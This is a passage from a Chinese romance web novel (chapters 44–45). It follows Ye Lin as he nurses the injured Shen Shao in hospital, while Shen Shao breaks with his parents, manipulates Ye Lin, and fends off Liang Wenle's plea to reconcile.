走廊里只有他和一堆朋友,叶临已经坐上救护车,不见踪影。 地上的白色西装脏掉了,那是他亲自挑选的花纹和宝石。 两套一模一样的婚服,今天名义上是订婚,实际上是他和叶临的婚礼。 周围没有人敢说话的,他们都惧怕梁文乐的脾气。 晚到的陈琳瑜走过来,轻声道:“刚刚你确实下手太狠了,再不送医院就要出人命了,所以没有人拦着他们。” 梁文乐蹲下来,捡起西装,怔怔道:“叶临说他不喜欢我,希望我去死。” 陈琳瑜也没想到会是这种结果,她当时知道叶临带着梁文乐私奔,还以为是真爱,这个时候只能安慰:“可能是气话吧,他不会希望你去死的。” 梁文乐攥紧手里的西装,久久不语。 太阳光线偏移,走廊里陷入阴影之中。 影子很长,风寒凉刺骨。 第44章 第44章“你对沈邵那么好!我呢?”…… 叶临坐在沈邵的旁边,低头跟他说话,希望他保持清醒。 而旁边的医护人员正在用仪器急救,缓解他的失血。 沈邵的意识已经很虚弱了,但他能够感觉到叶临就在身边,微微抬手,嘴唇开合。 叶临听不见,只能努力凑近,才能捕捉到几个字词。 “你刚刚为什么帮我,不是还想跟文乐订婚吗?” “不是帮你,就是单纯地不爽梁文乐那副嚣张的样子,早就想打他了。” 沈邵想笑,但咳嗽不止,血随之溢出来。 医护人员连忙凑过来处理,叶临退到后面。 他心满意足了,跟叶临相处久了就会懂:很多时候不能听叶临说了什么,要看叶临做了什么。 叶临这个人表里不一,心里想的跟嘴上说的不同,但下意识的动作是不会骗人的。 明明可以沉默着看完这场闹剧,可是却出手帮他挡下梁文乐的拳头,那就说明他在叶临心里还是很有份量。 沈邵看着叶临的身影,感觉浑身的疼痛都在消散,慢慢地变轻。世界都变成纯白色,到处都是柔和的光,好像到了天堂。 隐约听见叶临在叫他的名字,一声又一声,急切又担忧。 后面听清楚了,才发现他已经进入了手术室,而叶临被隔绝在外面。 叶临第二次在ICU门口等待,有种熟悉的紧张感。上回是等顾嘉致,这回是等沈邵。 待会儿沈家人要是过来,他该怎么解释? 而且,他刚刚从梁文乐的婚礼上跑过来,沈邵的父母会怎么看待他? 打梁文乐的时候把所有怨气发泄出来,心里是真畅快。 但是后果也是他无法预料的混乱。 他和沈邵的事情,估计已经在整个圈子里传遍了。 沈邵的父母会跑来质问他吗? 想想就很麻烦。 还有沈邵,脑子不会被打傻吧? 叶临愁得走来走去,恨不得时间回溯到几个小时前,一开始就阻止梁文乐打人。 梁文乐哭红眼的情形,以及沈邵满是鲜血的脸都在他脑海浮现。 他怎么都想不通,为什么梁文乐会收到他和沈邵的视频,又为什么恰好出现在那个房间里。 而沈邵看着身强体壮,几次接触下来也发现,肌肉练得很好。 怎么都不像是弱不禁风的样子,怎么能单方面挨打呢? 算了,这些都不重要,重要的是沈邵不能出事。 现在没了梁家,唯一的收入来源就是梵星,这些都得依靠沈邵。 千万别出事啊! 或许是老天可怜他,手术室的灯没多久就熄灭。 医护人员很快就把沈邵推出来,转入普通病房。 原来是他阻止得及时,没有让梁文乐彻底伤到要害,而且送医及时,才没有生命危险。 只是外伤严重,需要疗养两个月才会好转。 病房里的墙角里有几盆的吊兰,叶子修长葱绿,花朵洁白无瑕,看起来生机盎然。 沈邵躺在病床上,并未失去意识,下半张脸用纱布做了包扎,上半张脸的血迹擦干净,只有轻伤。 叶临看到他这副模样,松了一口气,还特意伸出手在他面前挥了挥:“你还记得我吗?” 沈邵的眉眼微弯,笑起来:“记得。” 叶临不相信,又把他们之间的经历说了一遍,发现对方都能回答上,这才确认沈邵没有失忆。 还好没有失忆,他想到失忆的顾嘉致就心堵。 此时,沈父沈母相继从病房外跑进来。先是西装革履的沈父,片刻后才是穿着长裙的沈母。 沈父先是轻蔑地扫了叶临一眼,又看向沈邵,头疼不已,忍大声训起来:“小邵,你怎么能做出这种荒唐事! 离开公司去外面创业就算了,怎么还跟梁文乐的未婚夫厮混!?” 沈母无奈地皱眉,既是嫌弃又是心焦:“就是,现在外面都传遍了,说你跟叶临在订婚宴上私会,我都不好意思去梁家解释。” 叶临本来还想说客气话,看到他们想训人,忍不住出声:“伯父伯母,沈邵被打成这样,你们不先询问伤势吗?” 就连偏爱大儿子的顾父顾母都会担心顾嘉致的伤势,而这对夫妇居然先在意名声。 而且对比顾父顾母的相互依靠,这对夫妻并未站在一起,中间有间隔。进病房的顺序也有有先后之分,感情不太好的样子。 沈父剜了叶临一眼,苛责道:“你还好意思说,如果你老老实实地跟梁文乐订婚,小邵怎么会遇到这种事情!” 沈邵抢先回怼:“爸,是我非要纠缠叶临,才被梁文乐发现,一切都与他无关。 而且你应该感谢他把我送到医院,不然你就再也见不到我这个儿子。” 沈父沉默了,发现自己面对无耻的儿子,竟然找不出任何有力的话语来反驳。 叶临难以置信地看着沈邵,从没想到最初虚伪自私的沈邵,居然全程维护他,无论是梁文乐那里,还是在父母这里。 居然都把他摘出去,一人独揽罪责。 沈母看向沈邵,冷冷道:“从前教你的礼义廉耻,你都忘记了,居然做第三者!你知道现在外面怎么传你的吗? 说你道德败坏,不知羞耻,居然公然在梁家的订婚宴上挑衅梁文乐,拐跑他的未婚夫!” “拐跑”这个词彰显了他的魅力,还体现了叶临是自愿离开梁文乐,愿意跟他在一起。 多么美妙的词汇啊! 沈邵非常满意这个传言,嘴角眉梢都有了笑意:“他们说的挺好,就是事实呗。” 沈父忍无可忍,挥手就朝着他的脸扇去。 叶临及时站起来拦住这巴掌:“伯父,你不满我就算了,没必要朝自己亲儿子下死手吧。他刚从急救室里出来,都还没康复,你要把他打死吗!” 沈母终于注意到沈邵身上的绷带和旁边的药瓶,看向沈父:“行了,他还生病,你打了他,传出去名声不好。” 沈父抽回手,愤恨地盯着这对小情侣,咬牙骂道:“你能行动后,就去梁家道歉!至于你旁边的小男友,早点分开,免得落人口实。” 叶临被他气得忘记计较“小男友”这个词:“不是,伯父,你亲儿子被梁文乐打得这么惨,你不去找梁家要个说法,还要他去道歉,什么道理?” 沈父拿叶临没办法,他听传言说梁文乐很喜欢这个未婚夫,现在还在家里大闹,不好动手:“你也去梁家,跟文乐道歉,解释清楚跟沈邵没有关系,也算对得起沈邵为你挨的打。” 叶临听完他的发言很想笑,懒得回应。 沈母跟着附和:“就是,订婚的日子搅和在一起,像什么话! 你以为梁家搞这么大架势是过家家吗?你们今天的行为就是在打梁家的脸,他们不会放过你的。” 沈邵早就看透他们的心思,他们一家三口毫无亲情。就像是临时组建的表演家庭,儿子要优秀,夫妻要相敬如宾,全做给外人看。 现在他捅出这么大的篓子,沈家就算是得罪了梁家。爸妈担心利益,所以才要来医院逼他。 “无所谓!你们就对外宣称,沈邵不是你们的儿子,他做的事情与你们无关就好。反正,我以后不想回沈家了。” 此话一出,不仅沈父沈母惊讶,就连叶临都愣住。 他是真没想到,沈邵这种靠着家里躺平的富二代,居然会放弃优越的条件,决绝地离开。 “你!你这是要跟我们断绝关系!” “对,既然你们对我不满,那就再去生一个听话的儿子,就当我死了吧。” “你知道你在说什么吗!” 沈父气得快要背过去,双眼一直,连忙护住心口,大口喘。气。 沈母倒是心态平静,抱手看着他:“离开沈家?你是迟来的叛逆期到了? 之前开的公司还是没有多少起色,现在倒是很有自信,难不成是这个叫叶临的给你吗?” 沈邵最懂他这个母亲,对外是温柔知性,对内是冷漠无情,多年来只把他当成任务。 父亲身体弱,不可能再有孩子了,而母亲倒是有可能,所以冷静淡然。 “我现在跟离开沈家有区别吗?没有资源和金钱,在外独自创业。 如果不是遇到叶临,我都不知道,原来井底之蛙是这种可笑的感觉。沈家的理念同我不和,早该分开了。” 沈邵看向旁边的叶临,冷硬的线条都变得柔和,眼底是脉脉柔情,嘴唇弧度微微向上。 叶临看到沈邵的家庭冷漠,有些感同身受,下意识地握住他的手,用眼神询问他是否真的做好决定。 沈母看见这对狗男男的眼神交汇,爱意都要满溢出来,嫌弃地往外走,高跟鞋的嗒嗒声响在病房里回荡:“行,反正我不想管这种肮脏事,让你爸管。” 沈父见妻子率先离场,心情郁闷,还要继续纠缠,指着沈邵的眉心数落:“你要断绝关系,就把沈家给你所有资产都吐出来!” 沈邵没看他,语气轻蔑:“不是早就还了,车钥匙,银行卡,房产证,在辞职的时候就托人交给你了。 你以为你给了我很多吗,其实只是一点,沈家本来就是烂泥扶上墙,早晚要倒。” 沈父怀疑自己养了个孽种,恨不得当场抽死沈邵,但看到旁边的叶临,又只能大骂几声离开。 夫妇一走,病房回归安静。 叶临拉上纱窗,让房间里的光线柔和,又把吊兰往里挪一些,保证沈邵能看见。 做完这些,他想了又想,还是坐下来问沈邵:“你真的决定好跟沈家断绝关系?” 沈邵抬眼看他因为忧心皱起的眉,欣喜若狂,很想靠过去亲。 但此刻做不到,只能笑道:“决定好了。我妈说的对,我在梁文乐的订婚宴闹这一出,怎么可能再回去。” 叶临想到刚刚的惨状,纠结再三还是问:“梁文乐打你的时候为什么不还手?” 如果还手的话,怎么能知道我和梁文乐在你心里的地位呢? 但这些都不能说出来。 沈邵的眉眼低垂,声音小下去,委屈地解释:“你也看到了我爸妈那副对梁家谄媚的样子。如果我还手,那他们更没理。 我毁了梁文乐的订婚,他把我打得半死,双方都没什么好说的了。” 叶临想到自己小时候因为家庭贫困,身边的长辈都是让他遇到事要一忍再忍。 因为家庭没有兜底的能力,在外面只能多赔笑,少惹事,才能保全自己。 他由此养成了见风使舵的习惯,很多时候都是昧着良心说假话。 沈邵虽然出生在富贵家庭,但总有人比他更富更有权势。沈家面对梁家,就只能卑躬屈膝。所以他面对梁文乐的殴打,也只能被迫承受。 好可怜。 原来他和沈邵,居然也有共同的苦楚。 那他们共同住过的公寓就像是安全温暖的庇护所,收留着两个为了生存强迫自己的可怜人。 叶临柔声安慰道:“你别怕,梁家不会一直强盛,你也不会一直在低谷。以后,就是梁家求你了。” 沈邵的目光落在他的洁白的脸颊,感慨道:“我不怕啊,今天你拦下梁文乐那一拳,我就知道自己有人保护,有人依靠,可以无所畏惧。 所以刚刚我爸妈来逼我,有你在身边,我也敢跟他们断绝关系。” 叶临久违地获得了保护人的成就感,在他眼里,沈邵贤惠脆弱,就需要他的保护和照顾。 他在这瞬间下定决心,以后肯定要跟沈邵同进退:“梵星会好起来,我们都会好的。” 沈邵不在乎梵星如何,他只在乎身边有没有叶临,每天能够看见叶临,那一切都值得。 因为跟沈家断绝关系,没有人来看望沈劭,更不会有人照顾。 这期间叶临就住在医院,天天照顾沈邵,都不去看顾嘉致和顾柘。 他帮忙盯药剂,扶沈邵下床活动,请人做营养餐,亲自喂给沈邵吃,还会起夜关心沈邵的睡眠情况。 总之,他比任何人都希望沈邵快点好起来,处理梵星的相关事务。 他去公司看过,根本不明白那些合同和文件是什么意思,只能先让沈邵招来的几个人才帮忙处理。 但这都不是长久之计,还需要沈邵主持大局。 中午喝粥的时候,沈邵看出叶临心中的忧虑,要他去公司把重要的文件合同带过来,他看一眼,让叶临帮忙签字。 叶临去公司只把很重要的几个文件合同带过来,给沈邵过目。 他就像是古代皇帝的太监,坐在旁边给皇帝念奏折,帮皇帝用朱笔批改。 时间久了,就会对沈邵生出敬畏之心。 原来沈邵的能力超强,什么麻烦事情经过他处理,都会迎刃而解。 订婚取消后,梁父梁母忙着收拾残局,还要安慰儿子。 梁文乐在家里砸了一个星期的东西发泄怒气,还是没消解。 他想把有关叶临的一切东西都烧掉,但最后没烧,原封不动地保存到箱子里,放在看不见的角落。 可是身边没有人,他失眠很久了。 终于在某个晴天,忍不住来到沈邵的医院。 他想去嘲讽沈邵,找到叶临说些好话,结果在病房门口却看见温馨的一幕。 沈邵脸上的绷带拆完了,正坐在床上吃叶临剥的坚果,满面春风,哪里像是重病住院的患者。 叶临也很宠他,不仅剥坚果,还喂他喝营养粥。 病房有两张床,一张给沈邵休息,而另外一张就是叶临的。 床边还有生活用品,以及厨具。 看得出来,叶临日日夜夜都陪伴在沈邵身边,细致入微地照顾他,怕他渴了,难受了,无聊了。 此刻,他们应该在聊天,阳光打在侧脸上,勾勒出美好的画面。 好像一对两情相悦的情侣,共度闲暇的午后时光。 叶临脸上的笑容并不强烈,非常自然,是正常高兴该有的弧度。 不需要沈邵特意提醒,无时无刻都在用最温柔的表情。 原来,真心实意的笑是这样的,放松惬意,没有夸张的表情。 在聊什么呢,这么高兴? 梁文乐像是生吞柠檬,酸意从嘴里蔓延到心里,还有苦涩的滋味。 好酸,好苦,好难受。 凭什么,凭什么他们毁了他的婚礼,还能过得这样惬意舒心! 半个月前,每个午后,他会和叶临去楼下的草坪遛狗,享受日光;也会在阳台欣赏黄玫瑰;更会在房间里用枕头嬉戏打闹。 当时不在意,只当做是最普通的日子。 可是现在再也没有这样的生活了,叶临身边有了别人,心里也换了。 梁文乐回过神来,发现脸颊有湿意,抬手抹掉,鼻腔酸意更浓,又要哭了。 他不能哭的,怎么能在这两个混蛋病房前哭呢! 梁文乐收拾好心情,冲进病房里。 叶临没有意识到有人进来,看到沈邵脸上的笑容,才反应过来,转身去看。 只见梁文乐抬手夺过他手里的碗筷,砸在地上,大声质问:“你们怎么好意思在这里恩爱!” 沈邵心里只有获胜后的喜悦,还非常期待看情敌的笑话,故作无辜道:“文乐这么生气,是觉得我没死,所以不满意吗?” 叶临的脸色冷下来,厉声警告:“你还来做什么,沈家没报案,已经很给你面子了!” 梁文乐委屈极了,他从来都是被叶临哄着捧着,哪里吃过这种苦:“明明是沈邵不要脸,毁掉我的婚礼,你怎么指责我!” 叶临不想影响到沈邵休息,无奈朝着外面走去:“你出来,我跟你说清楚。” 沈邵的脸色微变,怕叶临心软,连忙补充:“叶临,你就在这里说吧,我没事的。” 叶临看他一眼,语气轻柔:“医生说你多午睡有助于恢复,睡吧。我会关门,不会吵到你。” 沈邵用余光注意梁文乐,轻声恳求:“那,那你就在门口吧,我怕你走远了,会有别人进来。” 他像那种害怕丈夫离开,没有安全感的小妻子,可怜兮兮的,需要人怜爱保护。 可单独面对梁文乐的时候不是这样的,无论是从前还是现在,总是毒舌冷漠,冷静坚定,哪里会害怕。 梁文乐感觉胃里的饭在翻滚,差点要呕出来,指着沈邵大骂:“你装什么装,你以为自己是什么可怜无辜的人吗,还在这里说这种恶心话!” 沈邵心里得意,瑟缩着,微微抬眼看他,摸着手上的绷带:“我没装啊,现在五脏六腑还疼,还不能下床呢。文乐,你那天下手好狠啊,差点就要了我的命。” 叶临总感觉梁文乐这句“你装什么装”有些耳熟,但听到沈邵说到伤势,立即抓住梁文乐的手腕往外拽,怒吼道:“你闹够没有,非要把人逼死才罢休吗,跟我出来!” 梁文乐悲愤交加,拍开叶临的手:“我自己能走!” 到了门口的走廊上,周围没有人。外面就是医院种植的绿植和花朵,大都是净化空气用的,实用大于美观。 叶临不想再跟这个人纠缠,先开口:“破坏你的订婚,是我的错,骗你,也是我的错。你有什么怨气可以冲我来,没必要去找沈邵的麻烦。” 梁文乐快哭了,咬着牙质问:“凭什么,凭什么你对沈邵那么好!我呢?这么长的时间里,你难道一点感情都没有吗!” 那天之后,叶临稍微反思了一会儿。 他从梁文乐拿到了好处,梁文乐还不要他还钱。 双方就应该好聚好散,体面地结束,而不是互相扯皮,闹得难看。 叶临将梁文乐上下打量一番,发现他瘦了一圈,神情憔悴,还有眼袋。 这段时间应该吃不好,睡不好。 小少爷哪里吃过这种苦,心里的怨气肯定深重,所以要找到医院发泄。 叶临斟酌着语气,才开口:“我为了钱欺骗你,确实不对,但你也使唤了我很久,还把沈邵打成重伤,再怎么样都应该两清了。以后不要来了,你去找个好人恋爱,结婚吧。” 梁文乐抓住他的胳膊,强硬质问:“你还没回答我!这么长的时间,你真的对我一点感情都没有吗!” 叶临无奈地垂眸:“我是直男,不可能喜欢男生,你一开始就知道。” 梁文乐指着病房的方向:“那沈邵呢,他也是男的,你就对他嘘寒问暖,一往情深是吧!” 叶临叹气:“那是我欠沈邵的。” 梁文乐快崩溃了,昔日的爱人说一切都是假的,还说不喜欢男人,结果却在照顾别的男人。 这怎么能忍? 他疯狂地摇晃叶临的肩膀,红着眼睛质问:“我看你就是喜欢他。你被他勾引了,他心机深沉,最贱了!” 叶临心累,懒得回复,打算任由他发疯一会儿再处理。 梁文乐见他沉默,害怕得心惊胆战,连忙抱住叶临,颤着声音道:“叶临,我们复合好不好?我,我那天回去反思了的。 我以前老是使唤你,总是只考虑自己,不管你,这是不对的。情侣之间应该是平等的,相互体谅的,我以后会改的。” 叶临从没想到会从小少爷嘴里听到这些话,他以为梁文乐自私自利,绝不反省。 梁文乐今天来,肯定要狠狠地报复他,用最恶毒的话咒骂才会罢休。 没想到,居然是提出复合? 任何人满心期待的婚礼被毁,还抓住爱人跟别人私会,都会心生怨恨,巴不得爱人和他的情人死掉。 可是在梁文乐这里,居然只是觉得他们分手了,还可以复合? 叶临的心情复杂,试着提醒:“我跟沈邵私会是事实,你也看到了的,所以………” 梁文乐强行打断他的话,心在滴血还是忍痛道:“都是沈邵的错,你以后不要见他了,我们还跟以前一样好不好?” 叶临瞪大眼睛,无法理解梁文乐的脑回路。 这时,病房里忽然传出沈邵的哀叫:“叶临,我,我的腿好疼!” 叶临听到这个声音,立即推开梁文乐,朝着病房跑去。 梁文乐想伸出手去抓,还是慢了一步。 他眼睁睁地看着叶临再一次跑向沈邵,就像订婚那天叶临接住他的拳头,骂他是烂人,骂他该死。 眼泪瞬间滑落,滚进衣领里。 真的好恨,恨沈邵,更恨叶临。 梁文乐握紧拳头,死死盯着病房,很想走进去再次质问叶临。 可那样是自取其辱,又有什么意义? 叶临已经第二次当着他的面做出选择,还要看到第三次吗? 梁文乐的心脏再次抽疼,他感觉自己快死了,像是坠入最深的海底,窒息感将他包裹。 往常只要他说一句难受,叶临就该哄他,想方设法地让他舒服。 叶临以前把他捧在手心怕坏,含在嘴里怕化。 可是此刻,叶临眼里没有他,只有沈邵。 什么狗屁初恋,明明就是卑鄙的小三! 他们在乱传什么,他从未喜欢过沈邵,只想沈邵去死。 梁文乐忽然好后悔,当初就不应该跟叶临签恋爱合同,让叶临帮他气沈邵。 如果不那样的话,叶临应该就会跟他订婚,跟他永远在一起了。 病房外有人疼到脸色发白,无人问津。 病房内沈邵的脸色红润,还要让叶临帮忙揉腿,小声问:“你刚刚在跟梁文乐聊什么,这么久?” 叶临无奈解释:“他要跟我复合,我感觉他脑子有问题,怎么能想出复合呢?” 沈邵的脸色难看,但很快又恢复正常,故作无意地提醒:“可能是想报复你吧。毕竟你之前骗他恋爱,他想跟你复合后,也想用同样的方式报复你。” 叶临看向病房门口,想看看梁文乐还在不在了:“你说的有道理。” 没有人影,居然走了? 第45章 第45章怎么都喜欢叶临? 经过每天精心照料,吊兰的长势越发好了,白色的花朵爆满,像是藏在绿叶掩映里的无数星辰。 旁边还养了其他的植物,蓝色的玛格丽特成堆绽放,还有绿色油亮的大芦荟,以及紫色的优雅兰花。 墙角俨然变成了一座小花园,里面都是生机蓬勃的植物,绿意护眼,花朵散发清香,令人舒心。 床旁边摆放许多书籍,都是从沈邵家里拿出来,每周都会更新。 病房里也有柜子,放置他和叶临的衣服和生活用品。 比起面积广阔的公寓,这个小小的病房更像是他们的同居的小家。 沈邵正在看书,抬头就能看见叶临坐在对面的沙发上打游戏,旁边是他养的小花园。 叶临在墙角养了植物,是为了鼓励他早日康复,帮他带书是怕他无聊。 原来得到叶临的关心和爱护,是这样幸福的一件事。 能想象,之前的梁文乐享受了叶临大半年的百依百顺和偏爱,过得是什么舒心的日子。 难怪订婚那天,梁文乐会崩溃大哭。 要是让他习惯了半年的叶临,那他也不可能舍得放手。 沈邵只要想到,叶临愿意为他用心。体贴地照顾他的衣食起居,心疼他的病痛,就会觉得心里很充实,像是填满了名为爱的土壤,踏实安心。 “垃圾队友,上啊!” “射手技能都能放错,蠢猪!” 叶临本来是坐着,现在已经歪倒在沙发上,边玩边骂,开着麦教训队友。 手机顿时传来对面的叫骂声,要求他线下对决。 叶临忽然想到还有病人,赶紧把麦关掉,抬眼去看沈邵。 刚好跟沈邵对上眼神,对方手里捧着书,眼里有笑意。整个人都沐浴在阳光中,因为生病而略显苍白的皮肤都有了活人的色彩。 叶临放下手机,不好意思地询问:“我没有打扰到你休息吧。” 沈邵摇摇头,把书本放在旁边:“怎么会呢,我挺喜欢你在旁边打游戏的。” 叶临注意到窗外的阳光正好,想起医嘱,于是把轮椅推出来:“我带你出去晒晒太阳吧,这样对病情有帮助。” 沈邵点点头,在他的搀扶下坐上轮椅。 医院有个专门供病人散步的小花园,这里种植着各种鲜花绿植,还有大片草坪。 映入眼帘的是一堵绿墙,来年的五月份会开满淡粉的蔷薇花,形成美丽的花墙。 隐隐闻见桂香味,是西南草坪上一棵几十年的大桂花树。枝繁叶茂,像是巨伞挡住了阳光,其中夹杂着些许金色的小桂花。 地面也有了金黄的枫叶,很多小孩子捡起来玩,或是做成扇子,或是手圈。* 入秋了,时间过得很快,转眼间就要到年底。 记得,梁文乐还说过,订婚仪式结束后,冬天坐飞机去南半球游玩,环球旅行。 没想到,距离订婚宴已经过去了大半个月。 梁文乐上次来过以后,再也没有看到影子,应该是放弃了吧。 叶临感到心安,同时又有种疑惑和失落。 他搞不明白自己在想什么,可能是伺候梁文乐太久了,一开始恢复自由,没有那么习惯吧。 沈邵注意到他心不在焉,开口拉回思绪:“梁文乐那天离开后,没有再来找你吧?” 叶临摇摇头:“没有,可能气跑了。” 沈邵满意了,看向正在从高处飘落的金黄色枫叶:“梁文乐是个很骄傲的人,你把从高处推下来,还狠狠地踩了他一脚。那他只会怨恨你,不可能再有别的想法了。” 叶临赞同,他也觉得梁文乐是个高傲自满的大少爷,非要人捧着,吃了一次亏,就不会再来了。 枫叶掉落在地上,很快就被一个路过的小孩踩了一脚,变得稀烂,再也不复刚才的光彩。 沈邵想到顾氏兄弟,开口试探:“这段时间,我都没看到你去找顾嘉致,是他们病好了吗?” 叶临推着轮椅,朝着前面的草坪走去:“不清楚,我好久没去看了。他有专人照顾,还不乐意我过去看他,没必要去。” 沈邵叹息一声,故作体贴:“明天过后,你就请人照顾我吧。我也不想你在我这里耽误太多时间,毕竟你也有自己的事要忙,总不能天天陪着我。” 叶临停下来,低头去看沈邵,无奈地轻拍肩膀:“你怎么回事,重伤一次都变得不自信了? 我的事业就是你的事业啊。而且我照顾你,还能顺便拿公司文件给你看,交给别人,我可不放心。” “那好,我还以为你会嫌弃我麻烦,就像我家人那样。” “不会的,我可做不出你家里那种冷酷的行为。” “叶临,以后我只有你了。” “我知道。”叶临忽然觉得面前的沈邵像个易碎的瓷器,非常脆弱,需要人呵护,而且沈邵是为了他才离开沈家,理应负责:“以后我陪着你,一起看梵星发展。” 沈邵轻轻地应了一声“嗯”,有种抵挡终点,登上顶峰,再无敌手的畅快感。 与此同时,他生出来一种天下无敌的孤独感。 初恋顾嘉致失忆了,还总是惹叶临不开心。梁文乐本来就讨人厌,还没情商。顾柘对叶临没多大兴趣,无心争夺。 这三个男人,居然没有一个能打的。 他只是重伤一次,就换得叶临对他死心塌地,可太值了。 然而,沈邵没有高兴多久,因为三天后的晚上,叶临就做了噩梦。 这是个雨夜,雨势不大,但持续不断。 秋风寒凉,窗户没关,不断地涌进来。 叶临侧身睡觉,做了个噩梦,浑身发颤。 梦里他再一次看见顾嘉致,穿着学院风的衬衫,手里抱着书,站在教学楼门口等着他。 他刚跑过去,就被抱住,耳垂一热。 原是顾嘉致亲了一下,还埋头抱怨:“你来得好慢,让我等了好久。” 他想解释,结果发不出声音。 顾嘉致牵住他的手往教室里走,坐到他和梁文乐经常靠窗的位置,笑眯眯地看着他。 他刚在旁边坐下来,就看到顾嘉致脸上的笑容消失,取而代之的是满面愁容,低声问他:“你还记得我吗?” 他很想反问,是顾嘉致先不记得他的,怎么还要问这种问题,但说不出口。 顾嘉致问完,眉头微皱,眼眶瞬间就红了。 好像再次回到客厅那日,他被顾嘉致质问,手足无措。 “叶临,你说好了的,要跟我一起看梵星发展,结果你却食言,跟别人做了约定。” 他好想解释,可是喉咙像是被哽住,无论怎么张嘴,都没有语句冒出来。 “你知道我过得多苦吗,我每天都被困在这里出不去,黑暗冰冷,就像是在坐牢。” “你一直不来看我,让我一个呆在这里。” “明明都说好了,发达后会带着我,那你怎么在陪别人?” “我好恨你,心里很难受。” 顾嘉致说完这句话,周围变黑,已经不是教室,而是无止境的混沌,只有他一个在散发着微弱的光。 “叶临,我快死了。” 他听到这句话,吓得连忙伸出手去抱。 结果顾嘉致身上的光芒完全消失,世界彻底变黑。 “顾嘉致!” 叶临惊叫一声,吵醒了旁边的沈邵。 沈邵起身,注意到邻床的叶临紧紧地抓住被子,嘴里念着顾嘉致的名字,整个人都在发抖。 日有所思,夜有所梦。 叶临应该白天的时候,已经是想到过去的顾嘉致了,夜里才会做噩梦。 也不知道是做了什么梦,居然会让叶临害怕成这样? 沈邵希望顾嘉致永远不要恢复记忆,那样才没有威胁。 他见叶临抖得厉害,出声叫了名字。 叶临终于醒过来,睁开眼看见他,下意识地叫了“顾嘉致”,好一会儿才缓过神来。 沈邵想到从前叶临在公司里对他和顾嘉致的要求不同,总是偏袒顾嘉致。 他要钱困难,而叶临却愿意为顾嘉致少受累而痛快打钱。 顾嘉致真是阴魂不散,都这个时候还要在梦里缠着叶临。 沈邵心里不舒服,脸色难看,但还是语气平静地问:“你做噩梦了?” “对,我梦见顾嘉致要死了,好可怕,他身体没问题吧。” “梦都是反的,你梦到这个,应该是他的身体快要康复了。” “是吗?” “刚刚刮风打雷,我想到小时候的经历,睡不好觉。你可以到我旁边躺着吗,这样我睡得安心一点。 当然,如果你觉得麻烦的话,就帮我开一盏小夜灯,我应该能睡着。” 重病后的沈邵跟以前完全不同,敏感胆小,还怕对别人造成负担,哪里还能看到从前那副狡猾蛇蝎的样子。 真可怜。 叶临想到他在梁文乐和父母面前都偏袒自己,还是下床关窗户,到了旁边躺下来。 摸到沈邵的手,发现双手冰凉,于是放到自己的怀里捂着,抱怨道:“你感觉冷,为什么不早点叫醒我关窗?” 沈邵感觉到温暖,目光落在叶临的脸颊,脖颈 想到自己多日未曾触碰,难免心痒。 奈何身体有恙,只能暂且忍耐。 他低垂着头,似忐忑不安,小声道:“我,我怕打扰到你休息。” 叶临靠过去,安抚他:“这有什么,你小时候怎么了,为什么怕刮风打雷?” 沈邵从来不怕暴雨雷电,相反还很喜欢这种阴沉的天气,爸妈都在自己的房间里,给予他极大的自由。 但叶临既然问了,他就要编造借口:“我八岁的时候,爸妈说好了要回家帮我庆祝生日。 结果我在一个在家里等了很久,他们都没来。我爸跑去照顾堂弟,我妈在外面跟闺蜜喝酒。 那天下了很大的雨,雷声持续了很久,感觉天空都要裂开。 我特别害怕,只能躲在衣柜里。到了第二天早上,他们才回来,我还发高烧,所以怕。” 叶临听完,心里酸酸的。 他想到父母从来没给他过生日,但是弟弟在外地,年年生日都不落,每次都有生日蛋糕,还会戴上纸做的小王冠,拍照留念。 “好过分,你爸妈真是的。” “不过还好现在有你,我就不怕了。” “嗯,你别怕,我会一直陪着你的。” 叶临安抚着他,看着旁边的沈邵,幻视小时候的自己,好像这样就能弥补缺失的陪伴。 沈邵配合地闭上眼,满足他的保护欲。 等到叶临彻底睡着,沈邵又睁开眼,静静地看着他。 目光就像是流动的水,到处都淌过,炽热蔓延。 过了很久,沈邵也只是在叶临的眉心处落下一个吻:“永远不要真情实意地爱上任何人,保持现状就好。” 窗外的雨停了,玻璃上有无数小水珠,吊兰和芦苇叶子又新又亮,像是浸了油。 后半夜,叶临没有再做梦。 醒来的时候,就感觉到热意,原来是沈邵抱着他。 叶临怕吵醒他,小心翼翼地移开手臂,下床去洗漱,照常帮沈邵订早餐。 饭后,他还是惦记顾嘉致那个噩梦,很担心顾嘉致的安全,非得亲眼看到才能安心。 于是请人照顾沈邵,默默地离开。 与此同时,顾嘉致刚醒不久,边打哈欠边吃营养餐。 他脸上的绷带拆了,有很多疤痕,像是爬行的蜈蚣虫子,还好颜色较浅,不是非常吓人。 休养很久,腿不能动,但总算可以坐起来用餐。 顾母在旁边想喂他,被拒绝只能叹气,谈论起近期的八卦。 “之前,我看叶临那孩子把你和小柘送进医院,经常来看望你们,还觉得他人很好呢。没想到,居然是个水性杨花的混蛋。” 顾嘉致对梁文乐订婚取消的事情有所耳闻,大概就是叶临跟沈邵私会被发现。 他懊悔没去现场观看,能看到梁文乐出丑的模样,应该很有趣。 早就知道叶临是个不检点的,果然会辜负梁文乐。 但为什么梁文乐订婚礼那天,他就是不想去呢? 甚至,他看到请柬会很生理性地想吐,怎么都不愿意去参加订婚宴,只能借口头疼窝在医院里。 难道是因为叶临人品不行,不想见到吗? “你不知道梁文乐那孩子多可怜,天天以泪洗面,不吃不喝,人都瘦了好几斤。他妈妈也很担心,还经常跟我说,第一次看到儿子这样伤心。” “那确实很伤心了。” “唉,我以前就觉得男同很可怕,你看吧,果然如此! 梁文乐偏偏要喜欢男生,轰轰烈烈地搞个订婚,结果当天被戴绿帽,这多惨啊。” “妈,你放心好了,我不喜欢男的。” “你看问题就比较清晰。”顾母想到隔壁的顾柘,头疼不已:“不像你哥,哎呀” 顾嘉致很少得到母亲的夸奖,听到顾柘被嫌弃,立即抬头追问:“我哥咋了?” 顾母叹息不已:“你是不知道,前段时间,叶临老是来看小柘。有一次我看到他在捏小柘的脸,以为他要欺负小柘。 结果小柘说叶临在跟他玩,还很感激叶临每天来安慰他。” 顾嘉致惊呆了,亲妈不知道叶临的想法,他是知道的。 叶临每次来医院看他,都会顺道去整蛊顾柘。 结果顾柘被整了,居然还心甘情愿地帮叶临打掩护? 顾柘吃错药了,真是有毛病? 顾母继续抱怨:“我把梁文乐的事情告诉你,你就知道文乐可怜,要离男生远点。 但是我告诉小柘,他居然说梁文乐蠢,活该的,他们本来就不会长久。” 顾嘉致像是在听陌生人的故事,而不是他熟悉了二十多年的双胞胎哥哥:“我的天,他疯了吧,居然帮叶临说话!” 